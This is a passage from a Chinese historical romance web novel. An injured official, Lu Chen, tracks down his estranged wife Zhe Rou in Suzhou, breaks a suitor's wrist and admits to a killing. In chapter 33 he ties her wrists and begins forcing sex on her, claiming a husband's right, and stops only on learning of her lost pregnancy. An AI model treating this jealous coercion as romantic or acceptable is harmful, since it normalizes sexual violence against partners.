好半晌,陆谌终于迫着自己冷静下来,紧紧攥住南衡的手臂,咬牙压抑着周身剧痛,命令道:“严审,问出匪贼去处,要快。若问不出,带他去见……” 南衡明白他的意思,急道:“郎君放心。” 陆谌闭上眼,重重地喘了一口气,额角青筋暴起,“不能再等,收拾行装,我要南下……去寻她……”《 》 30-40 第31章 官家 陈三是存着同归于尽的心思入府行刺,下手狠辣不留余地,陆谌这一遭伤得极重,腰腹间的伤口缝了两寸余长,数不尽的参汤灌下去,堪堪吊住一条命。 昏迷了将近三日,陆谌才将将挣扎着醒转,意识逐渐回笼,恍惚间忆起先前的情形,他心脏猛的一沉,一瞬间彻底清醒过来,当即便想起身下榻,却不料动作牵扯起腰腹的剧痛,整个人疼得脱了力,汗涔涔地倒在榻上。 闭目低喘了两口气,稍稍缓和几分后,陆谌急声唤了南衡过来,一开口,声音已经涩哑得不像话。 “南下的探子可有消息?” 南衡忙应了声是,小心着道:“郎君,南下的两条漕船都回了消息,一条直下江宁,一路上都不见娘子踪迹。另外一条则是在归德府一带遇上了水匪,漕兵船工几无幸存,只有少数船客侥幸遇到了剿匪的官船,得救逃脱……余者不是被害于当场,便是被水匪劫船掳走……” 说到最后,南衡心中忐忑不已,抬头向上觑了一眼,见陆谌的神色尚算冷静,这才稍稍松下一口气。 “陈三呢?” 南衡顿时头皮发麻,“……那贼厮趁人不备咬了舌,眼下还未清醒。” 陆谌倏地看过来。 南衡眼皮直跳,只能越发地低下头去。 陆谌默了半晌,继续问道:“剿匪救人的,又是哪一路官船?” 南衡犹豫摇头,“只知道船上挂着淮南东路的旗号,并未结队成行,只这一条船独自追剿匪寇,时间有限,散出去的探子也查不到太多消息。” “不曾结队,单独追剿……必非寻常兵卒,至少是偏将以上。” 鬓边的冷汗滴落下来,陆谌咬了咬牙,吩咐道:“即刻去给鸣岐传个信,眼下淮南两路的水军都归他辖制,若有杀匪救人的功劳必得向他上报,是哪条船救的人他定然知晓,问他可曾见过妱妱的踪迹。” 南衡连忙应是,匆匆退下。 时近晌午,陆谌用过药,又稍歇了一阵,很快便起身更衣,入禁中向官家陈情告假。 他担的差事非比寻常,事涉禁中拱卫,这一去少则半月,多则数旬,若想成行,必得要官家允准首肯。 缓缓行了近一个时辰,下了马车,到东华门外递上牌子,两侧侍立的青琐郎上前叉手行礼,“将军。” 陆谌微微颔首,进了宫门,由黄门引着,行到福宁殿外。通报过后,值殿的小内监轻轻打起珠帘,请他入内。 阴雨连绵几日,天色将将放晴,大殿中光线昏昧,官家俯身在御案之后,似是在提笔描画,两名宫女远远侍候在角落里,垂首静立,兽炉袅袅吐出青烟,愈发显得殿中静谧空阔。 听见陆谌由黄门引着走近,官家并未停笔,只是抬了抬眼,示意他免礼入座,“听闻前两日你在家中遇刺,怎不好好养伤,反倒胡乱走动?” 语气还算得上关切亲近,陆谌掂量着应道:“臣入禁中,是想与官家告个长假,少则十天,多则一月。” 官家运笔不停,淡笑点头,“原来不过这等小事,上道折子便是了,你伤势不轻,自然应当在家中好好调养一阵,准了。” 陆谌沉默片刻,继续道:“官家有所不知,臣并非请旨在家中休养,而是要去一趟淮南。” 官家笔下倏忽一顿,抬头看了他一眼:“南下?作甚?” 陆谌自嘲地笑笑,向上禀道:“臣先前行事荒唐,惹了发妻不悦,以至她弃臣而去,然臣心中多有牵挂,实是割舍不下。是以想请官家恩准,允臣南下,寻回发妻。” 闻言,官家慢慢地搁下了手中小毫,抬头凝望向陆谌,“你来同我告假,不顾伤重南下,只为寻个女子?” 陆谌自知此举说来荒唐,却也坦然地点头应是。 官家也不再说话,落在他脸上的目光渐渐变得幽远,似是在看他,又似是透过他在看旁的什么,安静良久,方才慢慢收回视线,低头叹了口气,摆手道:“去罢,时日久些也无妨。” 陆谌连忙起身,道了声“多谢官家”,向上行礼告退。 他走了几步,临出殿门,忽又被官家从后叫住。 “秉言。” 陆谌回过身:“臣在。” 殿宇深处日影斑驳,烟雾氤氲,官家缓缓站起身,影子静静投在墨染的山水屏风上,竟莫名显出几分苍老的萧索意味。 好半晌,他喃喃叹道:“既是你对她不起,那就算她心中怨你,教你吃了苦头,也要将人寻回来才好。” 陆谌喉结微滚,垂首应是。 ** 匆匆小半个月过去,折柔已经大为适应宿州的生活,到叶家药堂寻了份活计,打算在此处暂住一段时日。 虽然谢云舟大多时候都在知州府衙忙公务,早出晚归难见人影,但同住一个屋檐下到底多有不便,折柔从药堂支出半月的工钱,去小巷对面另租了一个院子,如此两下里既能照应,又不必太过亲近。 七月十二是她的生辰,折柔打算早些回去,给自己做一碗寿面。 她刚出药堂,走了几步,就见门口洒扫的仆妇正和一个女童拉扯争执,似是拦着不允她入内。 女童看着五六岁的模样,一身素布小袄浆洗得发白,头上扎两个小髻,小脸因为愤怒而涨得通红,怀里还抱着个扑满[1],一边挣扎一边叫喊。 “放开我!我要给阿娘请大夫!” 药堂的仆妇却分毫不作理会,只将女童紧紧夹在腋下,抬脚就要往院外送。 折柔见状,忍不住出声询问。 说起缘由来,仆妇脸上轻蔑丝毫不加掩饰,撇撇嘴道:“娘子不知,这小孩叫年年,是隔壁帽儿巷焦寡妇家的。那家男人死了,只剩下她们娘俩儿,她阿娘如今也不嫁,也不守,只零碎嫁,做了个半掩门儿。” 说着,那仆妇环顾一圈,见四下无人,压低了声音,摆手道:“嗐,得的是脏病,咱们药堂治不了,她们也没钱治!” 年年的年岁还小,前面都听得懵懵懂懂,却听懂了后面这句“没钱治”,急忙挣扎着嚷叫起来。 “我有钱!我有!” 年年愤怒地挣开仆妇,抱着小猪扑满噔噔噔跑到折柔身前,又将扑满里的东西一股脑倒出来。 里面有七八枚铜钱,几张已经褪色的彩纸,三四个风干的红枣子,还有被咬了一口的半块饴糖。 折柔一怔。 倒干净了扑满,年年似是反倒生出些局促和紧张,仰起一张微红的小脸,强忍着眼中泪意,怯生生地看向她,“娘子……这些都是我攒的宝贝,够不够给我阿娘看诊呢?” 折柔心下霎时酸软一片,忍不住蹲下身子,一样一样替她把“宝贝”装回到扑满里,给她擦了擦哭花的小脸,点头笑道:“带我去看你阿娘罢,我能治。” 年年又惊又喜,破涕为笑。 年年家住的小院不大,但收拾得甚是干净,屋里也没什么杂物,折柔一眼便看见榻上躺着个消瘦女子。 听见门口传来声响,焦娘子动也未动,只嘶哑着嗓音道:“我身子不成,明日再来罢。” 年年噔噔噔跑过去,抱住她的胳膊摇了摇,欢喜地道:“阿娘阿娘,是我呀!我给你请到大夫了!” 焦娘子身子一滞,好半晌,转过头,缓缓坐起身来。 折柔冲她温和地笑笑,放下肩头药箱,上前给她看诊。 纤细指尖搭上腕脉,焦娘子忽地瑟缩了一下,似是忽然回过神来,犹豫着嗫嚅道:“大夫,我孩儿不懂事,我,我这病……” 她支吾着,越发难以启齿,指尖无意识地攥紧了被衾,用力到泛白。 折柔打断道:“放心,我都知晓,无碍的。” 诊过脉,又看了症状,折柔看出她这是染了鱼口病,好在如今病症不算太重,所需的药材也廉价易得,年年家中勉强负担得起。 写好药方,焦娘子连连向她道谢。 折柔犹豫半晌,终是忍不住开口劝了一句,“这行当,往后莫再做了,对你身子不好。” 焦娘子神色一顿,又渐渐变得木然,低叹道:“没有男人,不做这个,我们孤儿寡母要怎么活?” 折柔看着她,温声道:“焦娘子或许不知,我自幼生在边镇,那里常有蛮族袭掠侵扰,最多的时候,街巷上家家缟素,那些失了丈夫的女人一样活得下去,做绣活、卖茶汤、种菜养鸡,都是出路,日子该怎么过便怎么过。” 说着,心下难免想到自己,折柔抿了抿唇,继续道:“焦娘子,就算没了郎君,我们女子也能靠自己活着,难是难了些,但总归还能过下去,自己立起来,旁人便不能再轻视欺侮。” “你染的这病,眼下还有的治,但若是继续下去,有一日你不在了,年年该怎么办?” 焦娘子张了张嘴,终是没再作声,沉默下去。 折柔便也不再多劝,嘱咐年年看顾她阿娘按时吃药擦洗,拎起药箱,告辞离开。 这般耽搁一番,回到小院已近戌正,夜色漫入窗棂,屋内黑魆魆的一片,没有半分人气。 折柔走进屋里,静静地坐了一会儿,四下里寂然无声,那些白日里不曾察觉的疲惫孤独如潮水般漫涌了上来。 在她生辰这日,看着年年和焦娘子母女两个相依为命的模样,她忽然就很想爹娘,很想她失去的那个孩子。 离京已有些时日,若说她一点都不再难过,那是假的,说她从不曾想过陆谌,那也是假的。 但只要一想起他和旁的女子虚与委蛇,心中就仿佛被一根尖刺梗住,吐不出吞不掉,就算强行咽下,也只会划穿脏腑,戳刺得心头鲜血淋漓。 她也曾想过,倘若她和陆谌只是一对寻常盲婚哑嫁的夫妻,奉父母之命而结亲,一朝知晓郎君与人逢场作戏,她大抵也会像这世间的多数女子一般,睁只眼闭只眼,只要不碍着她自己的安稳,想来也能忍下眼里揉沙的日子。 可他们不是。 正因为那个人是陆谌,所以尤为可恨,所以无论如何她都不能容忍。 如今的生活虽是辛苦孤单了些,但难得自在,也难得让她心中踏实,不会再有从前那般渺渺茫茫的无措和惶恐。 求仁得仁,已经很好了,不是么? 折柔抬起指腹,轻轻按去眼角的湿润。 就在此时,院中忽然响起一阵轻快飞扬的脚步声。 “九娘!” 人还未到,声已先至,青年清越的嗓音传进来,沉寂的小院仿佛一瞬有了生机。 谢云舟几步迈上石阶,长指叩了叩屋门,“九娘。” 折柔暗暗呼了一口气,起身开门,“鸣岐,寻我有事?” “自然有事。”谢云舟斜倚在门口,拎起手中的布袋,扬眉笑道:“今日不是你生辰么?还好赶得及,我来给你做寿面。” 第32章 生辰 折柔意外地愣住。 谢云舟却是自在又镇定,眉眼间笑意轻快,半点都不见外地朝屋内扬了扬下巴,“怎的不点灯烛?” 折柔回过神来,转身取了火折去点灯,笑笑道:“我傍晚去帽儿巷出诊,也是将将才回来。” “这么说我来的倒正是时候。”谢云舟扬唇一笑,跟在她身后进了屋。 屋室不大,收拾得极是简朴整洁,桌椅虽已半新不旧,却擦得不染分毫浮灰,堂上没有多余的装点摆设,只在桌角放着一个瓷瓶,里面插着几株新鲜的蜀葵。 小小一间屋子,满是她生活的气息,干干净净,伴着她身上浅淡的杏花香,无端就让人觉得安心。 不像在洮州,那间小屋里不止有她的气息,还有陆谌的,一看就是正当年少情热的爱侣,旁人连进去做客都是多余。 折柔在屋内点了灯,四下里烛光昏黄,柔柔一层暖色落在她的鬓边,发丝间浮动起黑亮的光泽,映着那一身素衣布裙,很有种恬淡安稳的况味。 谢云舟唇角微扬,到桌前放下手中酒坛,拎着小半袋新买来的面粉,掀起隔断的布帘,一头钻进了庖厨。 折柔犹豫片刻,终是不放心地跟上去,“你会和面么?不如我来。” ……免得糟践了好好的白面。 谢云舟听出她的言下之意,不由气得笑了,回头挑眉斜她一眼,“看不起谁呢?” 折柔自然不指望他这等富贵作养的公子王孙能通晓厨事,想来能煮熟便已很好了,也就笑笑由着他去。 却不成想,庖厨里很快飘散出清郁的面香。 仔细嗅了嗅,分明是洮州才有的炝汤肉面的味道。 说不惊讶是假的,折柔起身走到门边,隔着缭绕漂浮的白雾,一眼便看见谢云舟专注的身影。 分明是挽弓勒马、骄傲恣意的贵胄公子,甚至此刻还穿着一身劲装武袍,却如寻常百姓一般,腰前围一片素布,动作娴熟地在灶台前忙碌着煮上一碗面。 昏黄的灯火中水雾氤氲,衬得他英气的眉眼也柔和了下来。 这幅画面太过家常温馨,庖厨里热雾缭绕,仿佛顺着肌肤丝丝缕缕地溶入血脉,润物细无声般熨帖着心肺,折柔心头忽而生出微微的动容。 却也只是一瞬,捉摸不及,一闪而逝。 她不再多看,转身回了屋堂。 谢云舟很快端出一碗热腾腾的汤面,得意地看着她:“来,尝尝我手艺如何。” 语气轻快自得,却又藏不住眼底的几分紧张。 折柔笑笑,拿起筷子,低头尝了一口面条。 味道竟然着实不错,很像洮州的面摊小食。 “你怎么会做这个?” “那年我在洮州养伤,闲着也是闲着,就和西街面馆的大娘学了一手,怎么样,还不错吧?” 谢云舟松快地笑起来,抬脚勾了张椅子过来,在折柔对面坐下,又给她添上一盏酒,“宿州城里最好的小槽珍珠红,不醉人。” 折柔笑着点点头,脸庞被雾气氤得细腻温润,鬓边有几缕碎发随着动作垂落下来,沾在微微泛红的半边面颊上,显得愈加温婉。 谢云舟忙活半晌,闻多了庖厨的味道,一时也没有用饭的胃口,此刻懒懒地靠在椅子里,从小碟中拿了个鸡蛋开始剥,余光不经意扫过瓷碟上映出的莹润侧脸,不自觉地勾了勾唇角,旋即又若无其事地调开视线。 “来来,再吃个鸡蛋,圆圆滚滚,霉运滚走,好运滚来。” 都是哄小孩的吉祥话,偏偏教他说得一本正经。 折柔接过鸡蛋,抬起头真心实意地笑了笑,“鸣岐,多谢你的生辰礼。” “谁说这是生辰礼了?” 折柔一怔,就见谢云舟从怀里取出个小木盒递给她,眉梢轻挑,“这个才算。” 拉开木盒,她看清了里面的东西。 是一对粗简的银镯,阿娘给她留下的遗物。 那年羌人袭城,这对银镯在混乱中遗失,但当时急着逃脱,她不能让护卫因为她一对镯子而拿命犯险,等到羌兵退去,她沿路来来回回地找了无数遍,还以为再也寻不回来了。 折柔轻轻摩挲着粗银上篆刻的纹路,喉咙微微发哽,“这镯子,怎么在你这?” 自打那年洮州城破,谢云舟已苦寻了这对镯子快两年,原想寻个时机,借着陆府名下商铺的路子,神不知鬼不觉地交到陆谌手里,却不想他们之间先出了变故。 谢云舟扫了她一眼,唇边噙了点懒散的笑意,轻描淡写地道:“说来也巧,年初庄子里收上来的,我瞧着像你的东西就留下了,如今物归原主。” 折柔心下感激,半晌轻声道:“鸣岐,多谢。” 谢云舟扬唇一笑。 又先说了一会儿话,折柔吃完了寿面,谢云舟见时辰不早,收拾了面碗,准备回去。 折柔弯唇笑笑,起身送他。 她喝了酒,乍一起身,脚下稍有些不稳,不防被罗裙牵绊了一下,她本能地伸手去扶桌案,却不想旁边伸来一双搀扶的手臂,让她一把握了个实。 谢云舟的身形微微一顿,隔着轻薄的夏衫,她的手掌纤软似温玉。 离得太近,能闻见他身上干净的皂角香,折柔清晰地感觉到掌心下的手臂肌肉一霎绷紧,劲瘦结实,蕴藏着青年男子蓬勃的力量。 她只有过陆谌一个郎君,就算行医治病时会和旁的男子接触一二,却也极少这般亲近,折柔心头一瞬觉出不自在,慌忙松开了手,站直身子。 谢云舟垂眸瞥了一眼,薄唇紧抿。 他想伸手去扶稳她的身子,但心知不妥,强自按住冲动,手握成拳,捏得指节泛白,面上却不以为意似的,轻快道:“那我先走了,你早点歇息。” 折柔没再看他,只点头应好。 出了院门,周霄就等在一旁,不大自在地觑了自家公子一眼,轻咳道:“公子,陆家郎君来信了。” 谢云舟本来心情颇好,听见这话,一顿,心中生出不祥预感,警惕地转头看向周霄:“来信作甚?” 周霄抓了抓脸,硬着头皮道:“问您知不知晓汴河上剿匪救人的是谁,又可曾见过……”他停顿下来,眼神朝院中飘了飘,小心道:“那位的踪迹。” 谢云舟难得沉默下来,好半晌,艰难道:“……说我不知,没见过。” 吩咐完了,谢云舟又下意识地回头看向身后,望着小院里杳杳冥冥的灯火,忍不住低低骂了句粗话,他怎么就觉得那么心虚呢! 夜深,百里外的驿站,雷声隆隆,雨如瓢泼。 陆谌刚刚换了伤药,衣襟还不曾掩上,收到谢云舟的回信,他接过纸张,飞快地扫过一遍,心头一松的同时,眉眼间又漫上一片化不开的沉郁。 先前已从陈三口中撬出了消息,知晓她不曾落进水匪手里。 此刻再看过回信,若是他没猜错,她如今不仅平安无恙,谢云舟还知晓她的下落,甚至和她有着往来。 谢云舟对她存了多少真心,他实是再清楚不过,倘若谢云舟当真不知晓她的下落,回信又岂能忍住不问清缘由,不关切她的安危? 她离去前还特意要了休书,分明就是打定主意要与他再无瓜葛,连另行婚嫁的退路都已想好,若是再晚些,说不准她就要把自己给嫁了! 想到这,陆谌忽觉心口一瞬被什么揪紧,眼前不受控地浮现起她和陌生男子亲近的模样,明明不敢去想,偏偏又自虐一般反复重现。 想象着她盈盈如水的眉眼,纤柔的脖颈,床笫间的低吟轻喘,陆谌只觉血液直往头上涌,眼前一瞬瞬发黑,胸腔里妒意烈烈升腾,几要烧得他五内俱焚。 除了他,她还想嫁给谁?做梦! 她只能是他一个人的妱妱。 再也无法忍耐,陆谌随意扯了衣襟系上,扬声唤来南衡,咬牙道:“备马,去宿州!” ** 折柔酒意微醺,这一觉睡得香甜,直到翌日清晨才被窗外沙沙的细雨声唤醒。 起身收拾停当,她撑了伞,去药堂坐馆。 不想刚一出院门,就见门口歪歪斜斜地放着一捧野花,花色不是很讲究,粉白参差,却收拾得很干净,连叶子都像是特意修剪过,还用草秆笨拙地打了个结。 折柔愣了愣,清晨下着雨,四下都不见人影。 看着想了一会儿,她倒是想起个人来。 年年。 折柔心里一软,不禁就觉得如今的生活很好,很自在,她心中也是欢喜的。 晚间,折柔从药堂回来,正在院中洗衣,忽听有人叩响院门。 “九娘。” 听见是叶以安的声音,她擦了擦手,起身去开门。 门外,叶以安一手拎了条用草绳串过的白鱼,一手抱着一大捧的荷叶,里面装着好几个鲜脆欲滴的蜜桃。 折柔愣了一瞬,又请他入内。 “九娘。”叶以安笑了笑,脖颈微红,神色诚挚,“我,我才知晓,昨日是,你生辰,我来送生辰礼。” 折柔不禁笑起来,伸手接过草绳,“多谢。” 灿烂的夕光被院中枣树繁茂的枝叶层层筛过,斑驳着摇落一地。 她袖上系着襻膊,露出两条纤细白润的胳膊,仿佛上好的东珠软玉,在金灿灿的夕晖下晕出一片细腻柔和的光泽,直晃人眼。 叶以安的脖颈更红了,紧张道:“还有这桃子,新,新鲜可人,味道很好。” 折柔看向他手里的一捧荷叶,眼中犹豫一瞬,正要开口道谢,院门处,一道她熟悉至极的声音冷冷响起。 “她最不爱吃的便是白鱼,更碰不得桃子。” 第33章 发疯 一道高大清俊身影站在门口,逆着光,被夕晖模糊了面容,看不清五官神色,可折柔还是一眼就认了出来。 视线相对,她心口忽地一阵抽痛,几乎是本能地想要转身离开,却又被那道低哑的声音生生叫住,定在原地动弹不得。 “妱妱。” 陆谌迈过院门,直朝着院中的俩人走过来,脸上看不出半分表情。 分别不过大半个月,他却已清减了一圈,脸色苍白,带着说不出的憔悴疲惫,显得一双眼眸愈发漆黑幽沉,隐有戾气翻涌。 看着眼前熟悉又陌生的青年一步步走近,短暂的错愕过后,折柔只觉心脏砰砰急跳起来。 他怎会寻到这里来?来得竟还这般快? 不等她作出反应,叶以安已经发觉了不对,往前迈上一步,将折柔挡在身后,抬头看向陆谌:“阁,阁下何人?” 陆谌却看也不看他,漆黑幽邃的眸子定定地望着折柔,哑声道:“妱妱,过来。” 折柔抿紧了唇,喉咙微哽,“陆秉言,我同你已经没有干系了。” 陆谌被她这般排斥的态度刺痛,漆黑的眸子里怒意翻涌,咬紧了牙道,“过来!” 叶以安挺直了腰,伸手拦在前面,冷声道:“她,她与你,没干系,莫为难她!” 陆谌忍到此刻早已没了耐性,一把扣住叶以安的手腕,反手用力一拧,只听骨节一声脆响,猛地将人推掷在地,厉声怒喝:“滚!” 眼见南衡还要动手,折柔心头一惊,忙上前一步,低声对叶以安道:“叶公子,你先走罢。” 看着她回护的动作,陆谌只觉心脏被刀剜似的揪了一下,也不知是想讽她,还是要刺伤自己,“怎的,心疼了?” 听清了他这句混账话,折柔不可置信地抬起头,气得身子微微发抖,“陆秉言!” “九娘……” 叶以安眼见气氛不对,自然放心不下,还想将折柔护在身后,可他一个文弱书生,如何抵得过南衡的身手,还不待挣扎起来,已被南衡一个手刀劈晕,扛了出去。 院中重又安静下来,晚风簌簌拂过枣树的枝叶,两个人谁都没说话。 陆谌漆黑的眼眸定定看了折柔许久,哑声开口:“为何要走?” 折柔心中存了气,闻言忍不住讥讽:“我不走,难道要留下来,亲眼看着你停妻另娶,再喝你一杯喜酒么?” “妱妱!”陆谌脸色唰地一白,像被人当胸刺了一刀,怒道:“你明知我不会!” 这话既是刺伤了他,她心里又何尝好受?折柔紧紧咬牙,不再作声。 闭了闭眼,陆谌强自压下心头躁怒,耐着性子开口解释:“妱妱,徐家的事我已处置干净。” 折柔一怔。 “徐崇的夫人周氏已死,我亲自动的手。” “徐家女需得在家中守孝,更何况,我是她杀母仇人,从今往后,我不会同她再有半分干系。” 折柔彻底愕住了。 “妱妱,莫再闹了,同我回去,嗯?” 这消息来得太过于猝不及防,若说心里没有丝毫震动那是假话,可他们之间远不止一个徐十六娘这般简单,甚至……他竟觉得她这是在闹么? 回过神来,折柔只觉心里涩得发疼。 她摇了摇头,低声道:“陆秉言,我明白你曾有难处,已经过去的事不必再计较,我如今过得很好,也不想再回头。” 说完,她也不再多言,转身走回屋内,抬手就要关门,却被陆谌追上来,一把顶住,“你这是何意?” 折柔抿了抿唇,低声道:“时辰不早,我这里不方便,你走罢。” “你是我的妻,区区一间屋室,我有何不便,又有何进不得?” 陆谌直接迈步进门,空气仿佛都在一瞬变得稀薄,折柔心脏一颤,暗暗攥紧了掌心。 陆谌打量了一圈她如今租住的屋舍。 简陋至极,卧房只有一张矮榻,堂屋桌椅都是旧物,地面也是最粗糙不过的砖石。 如今盛夏还勉强可住,等到冬日江南湿冷,没有暖炕,无人给她劈柴烧水,洗衣做饭又要用冷水,手上冻疮必定再发。 宁可过这般辛苦的日子,也要离开他。 陆谌心里霎时一阵绞痛,咬紧了牙,“一会叫人来收拾行装,明日同我回家。” 想起在上京的日子,折柔心口一涩,眼泪滑落下来,轻轻摇头,“那不是我家。” “怎就不是?!” “陆秉言……我与你完全不是对等的人……将来有一日,你若是想纳妾养外室,我也毫无办法,只能忍受……” 好半晌,她咬紧了唇,抬头看向陆谌,眼前一团模糊,“我不能指望着你的良心过一辈子……陆秉言你明不明白!” “我不明白!”陆谌一把擒住她的手腕,眼尾泛红,“你信不过我,偏就信得过旁人,信得过那穷书生,嗯?” 折柔一时没有作声,陆谌再也忍受不住,低下头不顾一切地吻上她的唇瓣,急切地辗转吮吻。 呼吸相抵,难分彼此,折柔心中恼怒,奋力地推拒挣扎,陆谌索性将她两只手反扭在身后固住,一手掐起她的脸,发了狠地深吻缠绵。 掌心下的肌肤温暖柔润,细腻如软玉,带着熟悉的淡淡杏花香气,碰触的刹那,陆谌心底恍然一震,眼眶忽而涌上酸热。 心头渴念愈甚,他再也不能满足,呼吸间试图撬开她的齿关,偏偏折柔咬紧了牙,不肯顺从。 额间青筋突突直跳,陆谌一面亲吻,一面熟稔地探入衣摆,滚热掌心覆住她的细软腰肢。 侵犯来得猝不及防,折柔毫无防备,顿时呜咽一声,身前的人趁势抵开她齿关,长驱直入,勾出她的舌尖深深含吮。 说不清的屈辱和悲凉漫上心头,折柔气到极处,用尽了全身的力气推拒,也不知捶打到了何处,忽听陆谌闷哼一声,似是受不住痛,手上力道有一霎的松懈。 折柔趁机挣脱开他的禁锢,扶住桌案,大口大口地喘息。 好半晌,陆谌抬手捂住腰腹的伤处,指缝里已有血迹渗出,他脸色惨白如纸,眼中满是沉痛,“妱妱……” 折柔与他说不通,心中愈发涩痛,低低地哽咽道:“我出身乡野,原就该过这般市井寻常的日子,总好过再与高官贵胄有什么牵扯。” “好一个不愿再与高官贵胄有牵扯……”陆谌嘲弄地笑了一声,“那你以为,他谢鸣岐又是什么身份?” “陆秉言,我同他们没有干系!就算有,也与你无关。”折柔心中急痛,忍不住抬头直视向他,胸口剧烈地起伏,泪水汹涌而下,她勉强抑住喉咙里的哽咽,“我问你阿娘要过休书,如今我已是陆家弃妇,婚丧嫁娶都同你再无半点瓜葛!” 视线安静地相对了少顷,陆谌忽然低笑一声,眼底却是冷沉无波,“那休书何在?” 折柔微微一怔。 休书……休书丢在了漕船上,她眼下拿不出。 折柔一时无法作答,只能低头咬紧了唇,指尖深深掐进掌心。 陆谌垂下眼眸,旁观着她这般沉默抗拒的模样,只觉整个人都要被胸口酸涨的潮水彻底吞没,肺里针扎一般的疼,让他喘不上气,甚至疼得想弯下腰去。 休书在哪呢? 休书被人送去上京,让贼人拿来掐着他的软肋,威胁他的性命。 彼时他伤重昏沉,只一想到她可能落进了贼人手里,他连死都不敢死,只怕再无人救她回来,她要遭人欺负。 可忽而又有一个瞬间,他浑浑噩噩地想着,倘若他就这般丢了性命,待她日后知晓,可会心生难过,可会后悔弃他而去? 谁想她倒是过得快活,左一个谢鸣岐,右一个穷书生,又岂能在意他的死活? 陆谌只觉腰间伤处疼得兴起,满腔的酸楚混杂着愠痛妒意沸腾而上,死死哽住喉咙,须臾间烧干了理智,脑中戾气翻涌,嗡嗡作响,只有一个念头在疯狂叫嚣。 折柔脚下忽地一空,已教陆谌拦腰抱了起来,几步送进卧房,压到榻上。 待反应过来,她一瞬白了脸,挣扎着想要起身,可陆谌轻而易举地就将她制住,一手去解自己腰间的躞蹀带。 他要做什么,再分明不过。 一时间,惊惶、愤恨、羞耻齐齐涌上心头,心中仿佛破了一块缺口,嗖嗖的冷风凉意直往里面倒灌,折柔再也忍不住,扬手扇去一个耳光,呜咽出声。 “陆秉言,你疯了!放开我!” 陆谌咬牙生受了这一下,转回头一把抓住她的两只手腕,迅速地用腰带缠了几道,高举过头顶,旋即欺身而上,他黑眸一眨不眨地盯紧她,平静地点头,“我是疯了。” “陆谌,你混账!”折柔是当真慌了,急促地喘息着,泪水汹涌而出,用尽了全力去踢挣,“放开……你不能这般对我……” 夏衫单薄,天青色的诃子一霎被撕裂,白生生的一片。陆谌用膝盖抵开她的双腿,眼底隐有戳伤:“有何不可?你我本就是夫妻!” 光线昏昧,白馥之上珠玉惹眼,血潮汹涌着冲向耳膜,陆谌俯首含吻,粗粝舌尖熟稔地勾缠流连,一手顺势向罗裙探去。 相伴多年,他太熟悉要如何抚慰取悦于她,入骨的酥麻混杂着屈辱的愤怒霎时向全身蔓延开。 入夜微凉的空气拂过肌肤,折柔打了一个激灵,身上冷,心中更冷,心脏仿佛骤缩起来,空空荡荡地向深处沉去。 她知晓陆谌是铁了心要成事,自己全然抵不过他的力气,索性不再费力挣扎,只低低地道:“我来月事了。” 闻声,陆谌动作微顿,脑中随即又分出一丝清明,哑声道:“你几时的月事我岂会不知?如今不过七月中旬,你的小日子是在月底。” 折柔喉头哽咽,声音极轻、极低:“它走以后,月事不准……” 听懂了她的话意,陆谌的身形一瞬僵凝在原地,犹如一尊石刻泥雕。 空气仿似凝固成一团,四下里寂静无声,只能听见两个人交缠微促的喘息声。 好半晌,陆谌沉沉地抬起手,指尖微颤,轻抚过她的小腹,只觉浑身上下,每个骨节缝隙里都嘶嘶冒出让人无力的酸冷寒气,铺织成一张无形的细网,一点一点绞紧他的心脏。 折柔偏过头去,把脸埋入被衾,肩头不住地发颤。 陆谌从她身上慢慢地坐了起来,许久,解开她腕上的束缚,眸中渐渐漫上一片赤红,“妱妱……我真恨不能瞧一瞧,你到底是怎样生的心肝。” 折柔被他握得手臂生疼,可心中痛意更甚百倍,她闭上眼,哽咽着啜泣:“放开我。” 陆谌定定看了她片刻,蓦地松开了手。 第34章 打架 屋里没有掌灯,隐约一点月色从支摘窗中漏进来,四下里雾蒙蒙的一团。 院中忽然传来一阵杂乱的动静,像是起了什么争执,紧接着就听见谢云舟隐隐含怒的声音在屋外响起。 “陆秉言,你给我出来!” 听见声响,陆谌微眯了眯眼。 他原本就要去寻谢云舟,不成想他倒是先找上门来了。 陆谌捡起地上的躞蹀带,慢慢扣回到腰间,垂眸看向折柔:“正巧到了此地,我还有些事要去办,等处理妥当,我们便回上京,嗯?” 折柔抿紧了唇,并不应声。 停顿一霎,陆谌继续道:“南衡留下,有事吩咐他,莫再想着乱走。” 陆谌推门出去,折柔攥着被衾,微微蜷缩在榻上,身前仿佛还残留着他舌尖濡热的触觉,湿漉漉的,极不舒服。 歇了好一阵,听着院中再无声响,她起身拢好外衫,穿上绣鞋,到庖厨里打了半盆清水,拿帕子擦过身,重新换上一件小衣,身心俱疲地躺回到榻上,独眠房中,心中寒凉一片。 大周承平日久,夜里不设宵禁,这个时辰街边的酒肆小贩正是喧闹,陆谌和谢云舟骑着马一直行到近郊,才寻到一处空旷僻静的闲地。 穹际一轮圆月高悬,四下里一片阗寂,唯有夜风拂过野草的沙沙声,间或伴着草丛里小虫传出几声鸣叫。 一前一后地翻身下马,走到空处,陆谌先开了口,“你一早便遇着她了?” 谢云舟痛快应了一声,“是。” 陆谌冷眼看向他,声音里听不出一丝起伏,“为何要隐瞒于我?” “陆秉言,咱们兄弟二十年,今日不妨把话敞开了说。”谢云舟看着远处随风轻摇的稗草,扬唇自嘲一哂,“我什么心思,你不是早就清楚么?” 虽然早已心知肚明,可亲耳听得承认终是不同,再一想到这些时日,在自己看不见的地方,二人还不知有多少亲近往来,心头怒火便一阵阵地烧起来。 额上青筋隐约鼓胀绷起,陆谌向前逼近一步,幽沉的眸子紧紧盯着谢云舟,“为什么?你明知我与妱妱情非泛泛,这世上女子何止千万,只要你想,环肥燕瘦天香国色应有尽有,为何偏偏要觊觎她?” “为什么?”谢云舟猛地转过头,俊眸中也满是怒意,“我还想问你为什么!她究竟为何会孤身离京,那个徐十六娘又是怎么一回事?!” 闻言,陆谌眉心微蹙一霎,“她同你说了什么?” 谢云舟咬紧了牙,“她是什么性子,你还不清楚么?上京出的变故,她连半个字都不曾提起过,是我自己叫人去查的。” “一知半解地查了些东西,”陆谌紧紧地逼视过去,沉怒道:“你便要觊觎兄嫂、甚至意图趁虚而入么?” “怎的,你自己有错在先,难道还要我眼睁睁看着你欺负她不成?” 说着,谢云舟上前一把揪起陆谌的衣襟,恨声道:“你明知她在上京举目无亲,可怜无依,你还要瞒着她和旁人牵牵扯扯,我管你什么狗屁苦衷,你就是欺负她心软,欺负她心里有你,吃准了她舍不得你,所以才会这般行事,对不对?!” 视线相对,陆谌沉默下来,良久,哑声道:“那是我与她之间的事,同你无干。” 谢云舟早已压不住怒意,低低地骂了句粗话,握紧拳头,猛地朝陆谌面门挥去! 